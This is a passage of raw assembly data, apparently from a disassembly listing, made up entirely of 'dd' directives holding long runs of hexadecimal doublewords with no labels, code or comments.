73C0B4F7h, 2023B855h dd 5F7607E7h, 222D7C2Dh, 829059EBh, 2C806h, 0ABB1515Bh dd 73B2804Ch, 30B9C100h, 0E4C059CCh, 0EAF4F805h, 0F6C419FEh dd 0CBB8DCh, 272FACB8h, 425C7B65h, 75140D00h, 3A2D395Ah dd 3BAE77F1h, 44D303D2h, 0C0437EDh, 74F627FBh, 841F2B9h dd 0A5140CA0h, 0AB529309h, 9EA9A78Ch, 0D7290474h, 0CA67EF5Ah dd 54B08FF5h, 3FF6DBAh, 9E287E28h, 0D680553h, 0C2210F1Fh dd 0D87FD5D7h, 0D865B719h, 0A86AE984h, 0AE0FBCDh, 82E6BCB5h dd 4228727Ah, 913D8077h, 4C6B0E05h, 21184489h, 0A5F152C1h dd 3927640Bh, 531BC001h, 583489F3h, 2C50BB4Eh, 695F2078h dd 29BFBD25h, 86354796h, 0C5078F1Eh, 40DC7A6Fh, 0D66132B2h dd 0E2404A50h, 3E0C2AA6h, 12E2946h, 0E5F74945h, 386F8CB1h dd 0E87D6830h, 82305926h, 0BC140A1Bh, 77C42F82h, 514B8202h dd 0CF85DF80h, 893F16EEh, 0CCF6AEF9h, 5748668Eh, 35D896B1h dd 906F7AD8h, 4BDDA169h, 6D3C2B72h, 0D139912Ch, 5AD42053h dd 8A76C7A4h, 0FE78EF25h, 1E686156h, 60683B64h, 0CDDC975Ch dd 84FC6395h, 0FC13DFADh, 0D050067h, 6A5E2BC7h, 75260B25h dd 805F65A2h, 87F60DFh, 3A030E9h, 17CFC28Dh, 0F7537827h dd 2DF6052Bh, 2FFE4E08h, 170CA3F0h, 0E6F4EEC2h, 55A3A21Dh dd 0AFEC1DDBh, 0B0275C75h, 0C4D5ACD2h, 8EC4AB8h, 326820D8h dd 3F6B7F03h, 28D3015Ah, 80D0C306h, 0BAABE90Ch, 76AAB78Bh dd 3E6A0446h, 592DC773h, 5A134676h, 0D1C7ACB8h, 1B6BE1EDh dd 31BC2F01h, 2FA4BBF7h, 0D3D2BA59h, 544775D8h, 890676A7h dd 6C105587h, 0C425A209h, 0E2C05C96h, 8777CE01h, 44A5AA25h dd 0F4DBB006h, 0D831169Ah, 36D98D5Bh, 1D5424B6h, 0F35E2310h dd 401917D4h, 0CAC962AAh, 36756F42h, 0B02629C3h, 0CF018924h dd 0F624F4DBh, 42BEA71h, 0AA435D8Dh, 9AE133DCh, 895A13E4h dd 0C3231CC5h, 231C43F5h, 0C152EDB0h, 0E936FD04h, 0C5F3DF0Dh dd 5EDC5332h, 5B4FCFF0h, 0ACBA1204h, 0F84EA4B3h, 0BFA8E124h dd 2D5C4DBEh, 0AB105648h, 2F2958E4h, 0D7D4426Eh, 14108167h dd 687C1CF2h, 13FAB9C0h, 49150427h, 0F90F64E9h, 0D568824Ah dd 81177145h, 6AA85415h, 18DDF857h, 5F3CE10Ah, 0AA02B14Fh dd 0C028EE32h, 266C2C33h, 2C61C65h, 64224F9Ah, 0B89D22DDh dd 814600EFh, 0A302CCEh, 30EE0CE5h, 4B320318h, 415EF109h dd 0C85840D7h, 0E939A077h, 69EA4FD9h, 96CA6F98h, 8E18012Ch dd 35E55D5Fh, 99BD88A3h, 2F98AD5Ah, 0B2928E3Ch, 5B091F96h dd 1F998445h, 0C4BA0594h, 0F43CBF84h, 1C573121h, 2FE40366h dd 863C65CDh, 0EB77BE4Ah, 5D8CA9F9h, 13B0833Eh, 6A28F22Ch dd 0F7D83E38h, 2CC6812h, 0E3B0A2CCh, 0C4E2D47Fh, 8CCF373h dd 172DFE9h, 1157A968h, 39BD6078h, 2570324Ah, 0AC545758h dd 60534A8Dh, 877EB993h, 86503727h, 2C5DDC9Dh, 9E7CD89h dd 0B9130109h, 0AFF447FAh, 0E2A3592Fh, 714802E9h, 51035359h dd 0CE383D68h, 0E2E2C734h, 0EDF4A0F7h, 17BBC7F6h, 0C0EF29A1h dd 113097DAh, 6BB85C5Eh, 2106985Fh, 957478B0h, 0B3AD0140h dd 0C11B96C3h, 42DD31D3h, 0A8DBDE90h, 964BE36h, 6E8A4C42h dd 5155D680h, 81011277h, 0E53B74CFh, 40C64733h, 58FCA97Eh dd 0FB1622F0h, 0A148BF5Fh, 0D3C402DBh, 4459EDBCh, 9754702Fh dd 0FFE91254h, 68618F65h, 0C9891B69h, 0E5B3BB89h, 226F0590h dd 0AE38103h, 1F577E61h, 446CEBCh, 0C1DFF713h, 399FB7F0h dd 64800FF5h, 38524448h, 8D2EDAA3h, 0F0299626h, 0CB96A77Bh dd 53055F00h, 23A2107h, 76CBBD55h, 0D38048CAh, 5FA94C1Eh dd 0A20CE5ECh, 0C77117Bh, 612F0285h, 74CCE96Bh, 9989F8A5h dd 0DEC18212h, 0C07D8040h, 273BCECFh, 53EA16DCh, 135E080Ah dd 41EE0B2h, 0BEC42072h, 0D596366Ch, 12757394h, 430902C8h dd 5463E917h, 7858BF2Fh, 0BCA9F419h, 0BAFF257Eh, 0EAFD8632h dd 26DAAC0Ah, 0C9AEC6B9h, 0E9C15A76h, 519D2C59h, 8D1DC9C3h dd 2896B35Dh, 0AF8130h, 2FEF5D6Ah, 67D26858h, 0B391A9Fh dd 0C88DD0Eh, 85C9ABC7h, 855E389h, 5200E6C9h, 0BE3B59BAh dd 0BCC2F631h, 25F63DE0h, 0EAA0F00Bh, 4BFB25D2h, 4E65894Ch dd 0C21092B1h, 0B260A1E9h, 453607A3h, 0BBD14037h, 25771102h dd 9E451C75h, 4C98881Bh, 3BB85816h, 1EDC5F2Dh, 3AD212BFh dd 93925E67h, 3DE40B4Fh, 0F8DD2927h, 0BF40BF0Bh, 7F256843h dd 8BA7D942h, 87E8019h, 735E87Ah, 0E5E98017h, 0D30A9558h dd 0AE0782A8h, 2480CDFEh, 3BC7BE42h, 0F7BAF562h, 3D518162h dd 5296B441h, 0F5C8E6FDh, 2076985Ah, 52DF1C16h, 0ECCEDD5Fh dd 0F8E5AF59h, 5EE9EA2Ch, 0FB52840Eh, 7B30CCD7h, 987F0351h dd 575F0928h, 8DE069FFh, 0CC9A3E41h, 0DC6EB52Dh, 0FAE9F073h dd 5A1235BEh, 64C5E901h, 46F02F33h, 56B2A6EFh, 0E913218Bh dd 0BBC78075h, 5A133C57h, 8EBD2112h, 570334h, 2D65C282h dd 28B53C2Ch, 5E170813h, 3424E2ECh, 4D458539h, 678AC081h dd 54985131h, 78D15B01h, 25ADE9EEh, 161D1C2h, 447441F1h dd 50F8DB5Bh, 494F80E8h, 0A82D7BBDh, 3A886482h, 0B6159064h dd 0C2F80103h, 590A3E68h, 0B6029512h, 9315F17h, 1BD429FAh dd 0E2527669h, 7B6AD7E9h, 273617D7h, 76B09D7Ah, 58B798BFh dd 6457B48Eh, 0B9CEA0DEh, 0DC6C900Ch, 12C0F231h, 5643F608h dd 8141AE04h, 383651CBh, 0E016B0AFh, 39129FF6h, 3BA1A70h dd 0E9D787B3h, 14447E8Ah, 2BBDA4B7h, 497A895Eh, 2F9C9631h dd 102D8A00h, 9D42B37Bh, 0E2034F23h, 0FE97AA30h, 4CCD5FC8h dd 0FB208ECEh, 6C099D90h, 0D07B4718h, 0F9595E14h, 70AF92DAh dd 5F77BA52h, 0A640C93Dh, 5A17A4EAh, 7F2DC040h, 0EA226117h dd 46AA05D1h, 99C70127h, 84267DFFh, 24AADFDCh, 82099470h dd 987ACDF5h, 572CB905h, 0AB0F1564h, 0F7F9E605h, 748B8D2h dd 5908B3E7h, 0A0806F64h, 8909B024h, 0C825F79Ah, 8032E705h dd 256C3D3Ah, 0C75B84E9h, 0F09E3C96h, 29D913FDh, 0D16C0BF9h dd 4124E380h, 0E9170342h, 0BD76A73h, 0AAE49FBFh, 56F9920Bh dd 0FE2417Ch, 9A84447h, 0C59C1E4h, 0DB35A66Fh, 14B8010Ah dd 291F7539h, 24C662C7h, 0B1813AD5h, 2883B21Ch, 67FC16Eh dd 16291h, 176F4FA4h, 238F281h, 0E9194C12h, 0ECFDE032h dd 3769A1C5h, 0CFEA8000h, 2DD4203Dh, 0BB78C0C0h, 88441E96h dd 13A7BE73h, 5E7AA0C8h, 31C323Bh, 706660CBh, 0ED180026h dd 0E9BEFDE6h, 0E0A8B096h, 1AB55DEEh, 3EE25FAEh, 3009C75Dh dd 41AD6808h, 0C8B79997h, 0FD1FB096h, 0ABA1D229h, 0A9E7813Ah dd 0D177C27Dh, 0BE07B5FFh, 124D088Bh, 0AC098213h, 928BCEB1h dd 2C0F38AEh, 0D2CAFD5Fh, 4E3EA611h, 0D0424AC9h, 882273F9h dd 0AD003050h, 124A6A05h, 95683D72h, 7D378CDFh, 6034212Dh dd 61A2CEh, 82052A19h dd 2D1ED315h, 4201BD12h, 0A0312A0Bh, 0EF805927h, 2FF7E661h dd 137653E7h, 0E537E985h, 0D3AB71D4h, 0C5EE3ED7h, 7A12A0F0h dd 4A0039A1h, 1BB366C8h, 7ED3A04Dh, 4E310063h, 8E2C142h dd 0E0BFDAF7h, 0D7C8A10h, 0C4E90C94h, 0B3E47F64h, 0BA85F25Ah dd 4C31275Bh, 0C202E9A5h, 0F703EF7Bh, 1DD67ED9h, 0BF6F3F75h dd 6A3C002h, 0D05F09BDh, 263116DFh, 0AB68014Ah, 0FA0C9974h dd 2EE781FFh, 4431F577h, 90522A60h, 6B350BFFh, 2C0423CFh dd 0A0C58703h, 21499066h, 645EF130h, 0A1106420h, 0BC2ECAB1h dd 59BDC193h, 0FFCAEB43h, 11F31402h, 8E89D47Eh, 0F70E94E3h dd 50668DAh, 6EF1008Dh, 4EEB8145h, 37B05017h, 3EAE2BDh dd 4535808h, 69350A66h, 4727EE24h, 51A18ECh, 0F71D186Dh dd 89F90DDh, 6076DC51h, 71E7CD06h, 1187523h, 0D352C6E5h dd 7C5DE929h, 0CA01C55Eh, 5B17CFAEh, 2CE96978h, 0C3145FDDh dd 104E5BD1h, 0BF0289A8h, 696E396Bh, 0A6FF7C61h, 68024903h dd 0C006FE67h, 3980981Ah, 0D3519001h, 0A424E7F4h, 85964A2Ah dd 0C2BBE7Eh, 0AE425E18h, 0EE287E69h, 9BFC93Fh, 96CFD48h dd 9D52C40Ch, 122D7763h, 50368D0h, 205D80Eh, 0FC83E907h dd 10492EF6h, 0BD26A09Eh, 5E9D979Ch, 8197741Ah, 10F30EFh dd 0F499212Bh, 52396B98h, 0BDFB527Ah, 4BD9396Ah, 0F3672A99h dd 0FB25D45Eh, 4B5CAF78h, 7FF2A151h, 30E9DBB0h, 0BD71F612h dd 23757CD0h, 8C4B69F6h, 0F2571AC8h, 0FDEC5B7Bh, 87BA1214h dd 79876C5Eh, 0B45008A3h, 1322C509h, 605C8A68h, 2E382AC6h dd 51273E7Dh, 0B496666h, 919430Bh, 0E5C0F674h, 3B9A08F6h dd 9358C12Ch, 25B17C10h, 5F02775Fh, 89D19D42h, 683E2427h dd 9E55DABh, 33F5F6B3h, 7056F926h, 0EF87342Ah, 4BE66BD8h dd 8999BDF2h, 0EDAF582Dh, 0D575612Ah, 9C786CA8h, 49FC2D4h dd 71145129h, 0F2ECC4EBh, 152EC42Eh, 4F8EBF00h, 5ABD6C72h dd 1DD64892h, 9DF0C107h, 0B92BE2Bh, 5F1B5B0h, 50779E2h dd 0D6324BBAh, 0DB3DE345h, 0FE933BEDh, 0FC39BE04h, 2D12D5E3h dd 961EB9DEh, 1C31DF54h, 5C805671h, 8EA99305h, 0BBC3FCA3h dd 6EF32DC3h, 0BB426BA6h, 0FD880147h, 0E94E5C5Bh, 0FBC9AE25h dd 404E1396h, 6B0BFFFh, 0D6B263DAh, 0F00BC837h, 0B3BEFA24h dd 6DE98417h, 0F8BBFBB0h, 0B53274Ah, 0F3E8945Eh, 80253619h dd 5C1B4720h, 0FD004A4Bh, 0E9446460h, 929DA652h, 2DBF1CE6h dd 0CBF4EA42h, 3DB9319Dh, 3F2793D5h, 0C3C0CAA8h, 1BA45571h dd 31953498h, 6F12DB5h, 0FD296530h, 4A93E07Eh, 0D8F8F155h dd 0C49791F8h, 0A8A5FD46h, 0E282EA59h, 96483A68h, 204798ABh dd 595BFA61h, 0E2D2C1ADh, 5B090597h, 0C1AF0BBAh, 7B323848h dd 5CAC5BC0h, 681A3867h, 0C3CE11A6h, 0F60EFEA1h, 604EED80h dd 0EA303BC5h, 8F681759h, 0B66C3018h, 0EB3880FAh, 0BAF33A27h dd 0F0E98BC3h, 7A3EDC60h, 0EC6FAF7Ch, 9088CD90h, 7D50BDB0h dd 0FA4AC5F6h, 0FBC600ECh, 0C100264Dh, 830503E0h, 0FA4B577Bh dd 31234BD3h, 6A5FB0F4h, 0B72BDACCh, 41B5AB80h, 6617E828h dd 0B8F85A59h, 1046E982h, 1240BFEAh, 1A091CF4h, 0DFB875Ah dd 0C56F0848h, 0B7910164h, 464C9D7Bh, 0A09D06DCh, 965A8EBCh dd 0E6810274h, 19F3552Ch, 9A5E30E2h, 25845E2Dh, 36774B48h dd 5FE13CB7h, 169AB25Ah, 3DBB64FCh, 1F93FCFBh, 33E642A0h dd 0ED83E6B8h, 1376D01Dh, 34B6CE81h, 3B30668Fh, 0EF3712F3h dd 6CA6017Eh, 3919D628h, 5E0840E0h, 8AEDE92Ah, 25EE7890h dd 0D95DDEEDh, 0E84C09A4h, 2C6BAD21h, 0D98F607Dh, 0F1295B2Eh dd 203D3626h, 686609A1h, 90DD7F50h, 4F305F18h, 1765F2D3h dd 0AB64BD6h, 4A33BB4Bh, 5A7EB65Ch, 0FB6D345Fh, 2D5550E3h dd 0EA42342Bh, 0E171A091h, 568109Eh, 0AC2F061Eh, 17110227h dd 5589B003h, 51754942h, 72E9E17Ch, 6282647Fh, 204C4013h dd 8FF38C37h, 0BA1E4F2Fh, 4B419E0Fh, 532729F9h, 0A2B82FCBh dd 9B2EE953h, 0AA43393Eh, 0C359CA0Ch, 0F0178E3Bh, 871214C2h dd 7820AA7Ah, 62C1BB03h, 9F893EDFh, 12AB75C4h, 688BEEF2h dd 0B14E8942h, 0B4AD285Bh, 2C56CA88h, 0A8A6CCE9h, 73922665h dd 97A3B21h, 76FB072Ah, 10D89809h, 0A6447B97h, 0E1D64930h dd 2029D025h, 81B5D958h, 0A561CF20h, 401A8D20h, 94E687Eh dd 66DF76ACh, 51BB334Bh, 475FFC2Dh, 0A5072CD3h, 21891AF1h dd 9ED66D1h, 3935685Ah, 0E9C1E374h, 0EC04A62Ch, 7D14043Fh dd 0A2BA11DAh, 1FE98300h, 0CFA925DEh, 53679E56h, 9831A390h dd 27C39862h, 13ACD80h, 0A4789FC1h, 3908FA0Fh, 16E22D6Ch dd 95DE1EFDh, 222C1BA2h, 0B8664FF7h, 171244CCh, 0B2F1B93Ah dd 0EDF1555Ch, 3093C581h, 0E53E5D14h, 5F08024Ah, 0BB5788E2h dd 8B905F6Dh, 51900004h, 2068A0B1h, 82E19148h, 0C1E9CB88h dd 56279C76h, 4C551EFDh, 6612120Ch, 20E27B6h, 8BAF1679h dd 5C304AB6h, 0B7E3C9E9h, 9F0914F9h, 72795470h, 35F7ED77h dd 0EDD9FF4Eh, 1A531364h, 55685B54h, 0C918FD7Eh, 13AAED61h dd 0AF7C9A56h, 0F0C0272h, 8436E612h, 5C04A9A2h, 9960EA53h dd 784746C3h, 0CDE9804Fh, 71011535h, 1E5875BDh, 5504C509h dd 0E98958F3h, 0F7AA220Dh, 0F9AB40DBh, 586C0C73h, 7BBEEB31h dd 5026F91h, 60D23B7Ah, 0A6786A62h, 9A687ADFh, 5893EABBh dd 6FB64201h, 35D07095h, 10A35EAh, 0D5294FB7h, 81B02F62h dd 5C5A12BEh, 1CFC030h, 6D1F2CB6h, 2D00D021h, 1FBC11C8h dd 50ED000Dh, 84256786h, 56043541h, 0A08EE948h, 0E605F5EDh dd 0F1E36217h, 6A33210Ch, 0EE887F84h, 0C4680556h, 94CA86Dh dd 0B0403A9Bh, 256B0805h, 0AD80F552h, 0E20F910Dh, 3309707Ah dd 1D0B45h, 1A7D6580h, 5AE91471h, 0CD81D863h, 2E43FE74h dd 79EA3E44h, 67FF32EBh, 0DE9DCFD0h, 0E24D9754h, 0ED522F49h dd 5DD60C14h, 8909F667h, 0DC529423h, 0B8CE39B8h, 40EEB54Eh dd 0DD1CED85h, 0FE9838D4h, 0D74B9509h, 53C8FF1Bh, 0BA00292Dh dd 7B25DC91h, 5569604h, 79FBA105h, 6F17ABE9h, 88B11EBCh dd 0AF883A02h, 0E0C51726h, 0F82109B1h, 19C23F9h, 0F561182Fh dd 7109810Ch, 5ADD68D0h, 0ED4A1BBCh, 7AAB0271h, 0FD2987BFh dd 2295FAC4h, 97D3EAh, 875528B9h, 0C5B82F4Ah, 6905F180h dd 53B063A5h, 0E718BF13h, 0D4C69A05h, 20A156B8h, 6722AA1h dd 57C1FFD5h, 408B07F7h, 1772BEADh, 0C4BC759h, 0E90D6E79h dd 59C0CF77h, 0A26B2FC5h, 8BBA22Ah, 5A2508BAh, 0E8564AE6h dd 4A80AD2Fh, 2CFC4E8Bh, 81D0ECE9h, 5F5A0984h, 57317553h dd 5A547CB3h, 502F89BDh, 0EA20B04Eh, 6FB4A079h, 61C60E08h dd 3BA1E281h, 61E91290h, 82582851h, 7D678768h, 3C2D1D66h dd 9F25E40Dh, 0BA058150h, 2D6B34B9h, 353CF3C0h, 0FB515DC8h dd 0BD08C228h, 8909587Bh, 0BD9FC656h, 27A17AC4h, 5E142051h dd 0F6B1B99h, 18A7E85Eh, 75187042h, 0D1566D1Dh, 0A3260BA0h dd 0F4628A39h, 42065157h, 0E1DC4D6Eh, 0D1725D85h, 0CAF7E500h dd 0EC7CE622h, 5E6A07E7h, 0D04712B8h, 0B66B86C7h, 0ACA4194Bh dd 0CE30BDD3h, 0AD819580h, 60C0AD40h, 0ABF0EBF2h, 1A48BFFFh dd 0A898333Ah, 264D05F6h, 0E7EB0EC8h, 0F46F8B79h, 9D08A0AEh dd 1D1326D1h, 0EC45B5A0h, 98FABF63h, 7EA4C72Fh, 98F627B7h dd 0F7C25C64h, 200FE434h, 801F1CD7h, 0BA8C73C2h, 0BDD3100Eh dd 0D2F205C8h, 0AAAC0282h dd 0D30103F1h, 2B41C806h, 0CC103B4Bh, 0B62AE54Ch, 0E6807302h dd 51C568C7h, 40B382ADh, 75E7DE08h, 0E9CEFE01h, 31A7F9E1h dd 492F2850h, 957D9B75h, 0D881A5A8h, 980CA837h, 13AE230Ch dd 92B125E9h, 0DFCE0679h, 88B47FEDh, 44F63280h, 0D70A6225h dd 0B370B192h, 94394598h, 56972D04h, 68520298h, 81461821h dd 9DE9DDC2h, 407DA920h, 0A0327432h, 5F40E97Eh, 0E4728D25h dd 0F9B5380Bh, 34976023h, 0E92646F0h, 0BF81EAB8h, 9E623A4h dd 0D1E182Ah, 4C97F901h, 397F96EFh, 27A02B17h, 22DB9206h dd 56C4175Eh, 0FDF00781h, 890FA82Bh, 7E2D2BB9h, 0F98A045Dh dd 258F9BDh, 2E4498C1h, 17AC870Ah, 0D70D7752h, 882A370h dd 1568A641h, 741CD001h, 2605BABh, 0C507A3EAh, 0A9C28AC4h dd 50BEE6B6h, 92C74459h, 36FAA14Bh, 227B332Eh, 86C190F9h dd 5A66F0C7h, 0B6521208h, 452A148Ah, 0A97DFA27h, 187809Fh dd 0F672F179h, 41054E96h, 0EC18346Eh, 0C9A13B2Ch, 136FC2F9h dd 0CEB0FCBh, 25769C1Eh, 976B9E5Dh, 93986848h, 6B065A93h dd 13F3714Ch, 41451FF7h, 0BB63E184h, 0D11E601Ah, 5742E205h dd 5EA2AE9h, 0C3C38898h, 69038FE2h, 0F45676E1h, 30C0C06h dd 2CFEB713h, 91B510BAh, 28FBF547h, 7D8658B8h, 2F3790FAh dd 68188430h, 27CC683h, 81191F29h, 415B4000h, 1287BA1Eh dd 443AE4CEh, 0F4A9E973h, 3B4AB402h, 0C606ABCh, 1EC805Fh dd 0E9122862h, 1C77C4Eh, 0A97EFBBBh, 0CDB47E3Fh, 384F173Ah dd 895AD80Ah, 862A9941h, 87B0671h, 719DEEE4h, 0B869E9C1h dd 9DD13A09h, 4D0A1h, 0EE0D02D4h, 4F7DB31Ah, 0E3E0414Fh dd 74300FB9h, 0B0442ED8h, 6707C866h, 83E8A80Bh, 577D8B31h dd 0FB280AE5h, 0BDC9092Eh, 0D36FE709h, 98FBB9A8h, 3B2130E4h dd 647CC157h, 3308C5Ch, 0B51D1C9h, 0E18041Bh, 0C23D17E1h dd 6801AE0Eh, 55C233CEh, 0FDC91271h, 2FBD584h, 0FFDDF75Eh dd 87CE0C85h, 3F03594Bh, 81EC35F8h, 398F0B1Dh, 3D4905B9h dd 0BD0D6823h, 8C310D48h, 0FD66F052h, 2DA0F343h, 3AF1633Ah dd 66CA6582h, 2E4705AFh, 0FB5F06EBh, 217F1A79h, 3AA128C5h dd 6809DFA2h, 345F7593h, 0A6E91473h, 0BF07CF06h, 200367F9h dd 3BC7EF81h, 0C15F0AFEh, 0D605A9F9h, 8033D90Bh, 9A96F7B5h dd 17235420h, 9CBF19E9h, 32A9EE26h, 4FC334F8h, 26E7C126h dd 0E591A00Ch, 485EEAC3h, 0EB02A9E1h, 4FEC3C7Ch, 8A09454h dd 0C1F858B5h, 0EB805CA8h, 775B20FEh, 3E79B780h, 0E702D7F6h dd 0D3B25249h, 9233E375h, 58C2576Bh, 0FA02AD62h, 9A201FDDh dd 9819A47Dh, 9FE46B6Ch, 4A2F2901h, 71C2F77h, 44630203h dd 8AECA4E9h, 0D6056614h, 0A0565F2Fh, 1468F85Bh, 442EFD74h dd 21A4F52h, 0DC9E8CE9h, 2C219C92h, 0E1C00CADh, 9205F19Ch dd 5966C828h, 2058999Fh, 20176DC5h, 1B7B94A1h, 742B365Ch dd 9F3ADA82h, 42174870h, 0E8A02135h, 2DD82829h, 50DCA10Ah dd 0F431507Eh, 3E111273h, 9616B241h, 520BD1AEh, 0E2EC2B54h dd 6FFB5AF1h, 7884574Bh, 595AB405h, 9E955B3h, 58431A9Bh dd 2CAF604Fh, 53694898h, 99C1570Bh, 0A5F3EC54h, 28EC16D7h dd 34DA6809h, 7D63C67Ch, 0F7FA845Ah, 0C0562744h, 0A4C19AAh dd 35584B5Eh, 54583C06h, 0BD1CFC20h, 3B561D3Ah, 1668FB0Eh dd 17F6DAEBh, 85FC3768h, 30428FC2h, 7052335Eh, 62AF9465h dd 68013047h, 362A790Ch, 38B768A5h, 5B5A540Eh, 0EA4DA151h dd 0FD1D180Ah, 5560274Ch, 1BB32768h, 57E99AFEh, 0E55DE63Ah dd 63178963h, 0E5561999h, 2AFA60Eh, 0A9E06BCFh, 0A3F38008h dd 2C80DEF6h, 1DF8F0EEh, 0EDC165C0h, 53500148h, 28B8027Ah dd 827F461Ah, 91D9EF5h, 0D8098E8Eh, 2CE0DE0Fh, 4D02847h dd 0CCE028E9h, 0CB462066h, 9DC55356h, 0D0AE1C13h, 0DBF65BCDh dd 50E3D012h, 588AEBh, 0F61B0CC7h, 90F70105h, 478062CFh dd 0C07D5AD0h, 49F26848h, 0D8163A47h, 7319E6CBh, 909DD282h dd 4BCF165Eh, 0A4FB1D90h, 25082089h, 658277E9h, 0B6FF5758h dd 5EE93275h, 0C5E131DBh, 2D8C3AE5h, 0C1329554h, 0E951BD80h dd 669DEB3Ch, 0C67B77D4h, 18CCD7B7h, 53FAB405h, 14C314B3h dd 51DC80CFh, 3E444CB1h, 106EBB24h, 9CBA0F20h, 0C846A92Ah dd 94F5EBh, 3B8D49Eh, 0E9EC624Dh, 5AE8D925h, 0D23B79F8h dd 1B88AE64h, 3B509D57h, 0A6B565Dh, 0D370AC68h, 0CDB55160h dd 0AFE830E9h, 1005BE16h, 0F4657B2Dh, 58023F1Ch, 0F22995B3h dd 0D012C740h, 0BF370480h, 0F3199583h, 16AA7658h, 16CD1D6Ch dd 0D39055CEh, 5D829488h, 1DBE5890h, 30660FBh, 85C21E49h dd 0FAD2E40Dh, 5BFAC3F1h, 3179CEC2h, 0D7778DEh, 0C973C82Eh dd 6CA73C50h, 0C6A4CCE0h, 90BDDFB0h, 2F6F658Ch, 25F0448Eh dd 8654012Fh, 80565092h, 55AD1FBh, 83044DBDh, 43E0BA9Fh dd 76C5BA36h, 0E34264Eh, 0F6FA4143h, 0B0A56FBEh, 685F6282h dd 5FC07756h, 62E26B49h, 830BE8B0h, 0D8B93E87h, 0DB9931EAh dd 30D53050h, 5909EB90h, 5425C968h, 0B753604Dh, 0ECA2880Eh dd 6CF4C1D5h, 0FEA18BCEh, 28FD406Ah, 7D2DE9D8h, 0F6981084h dd 0B05026DFh, 135A081Eh, 78DC5E14h, 3F379859h, 90BD17C3h dd 493ABE3h, 0AF3C230Ah, 40672528h, 0BA0552DAh, 3E214FC1h dd 1B216AEh, 9103F8B3h, 0A363018h, 2D960D5Ch, 0CE255F41h dd 2DC8264h, 6D74D5C0h, 0C92C41EFh, 18C839A2h, 10DF06Eh dd 0B85002CAh, 24EB4D0Eh, 9B524377h, 0A72D98E0h, 94E1E009h dd 0E95831D0h, 7C31756Fh, 3E68B04Ch, 6935943Dh, 59614F0Fh dd 2A09E531h, 0F55490Dh, 0CB66E83Bh, 127EE658h, 452CE568h dd 0BDCDACF3h, 1750D40Ch, 9AC951F9h, 1D15DE1h, 5F38333Ch dd 0EABAFA3Ah, 7085B93h, 5AE0C07Bh, 20A207FBh, 1B2CC3F8h dd 1655C6AAh, 9CA420FDh, 37FD8F80h, 0F3DCA84Fh, 6A0213EAh dd 0C6BD0175h, 2207485Ch, 0EE5D2AE9h, 0DC0B9C90h, 0E0704C12h dd 0A0C82188h, 9A5C7359h, 34252720h, 109C37F1h, 21781D24h dd 0C20599F3h, 7CDA4787h, 4CA3C204h, 50EB780Ah, 95A08ACh dd 0B445046Dh, 0E9E4682Fh, 34D2952Ch, 0E1C5CE4Eh, 43D67404h dd 3868BF00h, 0F7274F2Ch, 3E25CDFh, 506C2ED1h, 9D4D1250h dd 60702A13h, 75FC4803h, 80CC657h, 446C2179h, 8C375902h dd 2753D620h, 0FF258154h, 9D907898h, 0E4094AB3h, 885CF9F3h dd 963E6C28h, 5EACA533h, 66110A9Eh, 2D238CACh, 788AAC25h dd 4E07FAE4h, 0C43CA26Dh, 41EFA2E9h, 0F703E8BAh, 0B4D480D8h dd 0E915F578h, 40414BC6h, 0F213A0C3h, 0B22D6811h, 9981666Ch dd 864C3AA1h, 0EA295578h, 33F9B06Eh, 2F62EF3Fh, 68EBD9D1h dd 302C3110h, 0F876B7Ch, 802726Dh, 9F2BDA5Dh, 54A58947h dd 52E74021h, 0D29F63C3h, 2F7303A9h, 0EF875C1Bh, 0D9A0CD93h dd 754BADE9h, 2DC0ED41h, 107F16C3h, 526855Ah, 0A8D19D0Bh dd 0B335018Ah, 0E980F8F2h, 9E403B9Bh, 8BCA232Ch, 0E7C55989h dd 0F2EF0985h, 0D7F78706h, 60EA618Eh, 0CB96E11h, 0E6D48081h dd 7A18A3E9h, 0F45354CCh, 0B31B5ECEh, 74FD2FBCh, 16D16B55h dd 1555770h, 9907BA68h, 3FABE976h, 0D5BE9485h, 9ACBAAC3h dd 6EDC5C89h, 0B7EAE970h, 2E40C948h, 92F4412h, 0A1687207h dd 0D3322259h, 9AB501BCh, 0C63A7030h, 0ED6BCC61h, 65F04243h dd 0C107ECC1h, 285ABAC4h, 17F5FC25h, 60D70A25h, 0B7485336h dd 45271167h, 6512FD6h dd 0B9E01248h, 4B993296h, 0F971C762h, 0D0BCBB3h, 6E1565E9h dd 7F839021h, 0C27520CBh, 964E229Dh, 0C5010289h, 7217A660h dd 80B44172h, 6E29DA38h, 8D124523h, 0FBB5C462h, 0FAD692F2h dd 354ECEDBh, 0C5C5BF20h, 0BCBF05EAh, 1375BFC7h, 0CC7A5FFFh dd 0C2674C7Bh, 5460A6EEh, 2965E3EBh, 0C43604Eh, 2C8A6F5Fh dd 7009CBF8h, 8E2B9B03h, 0C32DDF6h, 77A46250h, 640F9A90h dd 0BA172303h, 8E05CFA9h, 30F07EBCh, 210C686Ah, 1D4C252Fh dd 2DE91718h, 0B60BA2C4h, 0B1387FC7h, 5C0CBCBBh, 764B114Dh dd 1272FA6Bh, 2DD82917h, 1E136E05h, 0EE9212AAh, 72587295h dd 244BA09Ch, 47C7070Ah, 4EE48297h, 11F5000Bh, 4003E9B6h dd 0EC9F5C9Ch, 4D0427B8h, 8CB01B3Ch, 0EAD1FF27h, 0E951382Fh dd 0BBE85440h, 0E46827DEh, 9EE379E8h, 13005FD6h, 0B77F4508h dd 2B08A003h, 36B1090Eh, 44F57429h, 420C83CAh, 0E90C1C10h dd 51529B1Ch, 3CAE6800h, 8159791Eh, 0B5A70C9h, 0F6E9430Ah dd 0D5F7CC22h, 20FA9269h, 1779D95Eh, 48406809h, 0AE647557h dd 27CAF095h, 0C3618FE9h, 0D2186B5Fh, 8078D6FCh, 0EB3CC935h dd 5FBACBAAh, 0E7D7DC0Ch, 302F51D2h, 0FAA95ABBh, 0DE859F7Eh dd 26DDE431h, 0B9BDDD60h, 7D9580Ch, 0F8BA5248h, 86B7E5A7h dd 0E25F4628h, 852F36A3h, 0E47752E2h, 6CFA3425h, 419B3412h dd 8765A1A7h, 2EDE215Dh, 0E9A083F2h, 0EBA919EDh, 17092DEAh dd 24EEDBCDh, 9E80BB8Dh, 0B07D96C6h, 44E12FEFh, 3020135Ah dd 0F3810382h, 34ED689Fh, 0C630C01h, 0E5E9AE85h, 0F0CF123Eh dd 0D1777ABh, 1FBF3B8Bh, 0E849C9F8h, 1BBDB855h, 0B6BEB5C4h dd 4A28E913h, 39C420FCh, 542DCCCFh, 5E045A4Ch, 0CAAA4B12h dd 0C48AD5D1h, 3000428Fh, 66D3F6D9h, 0EE8F0EBFh, 0A2CF6E53h dd 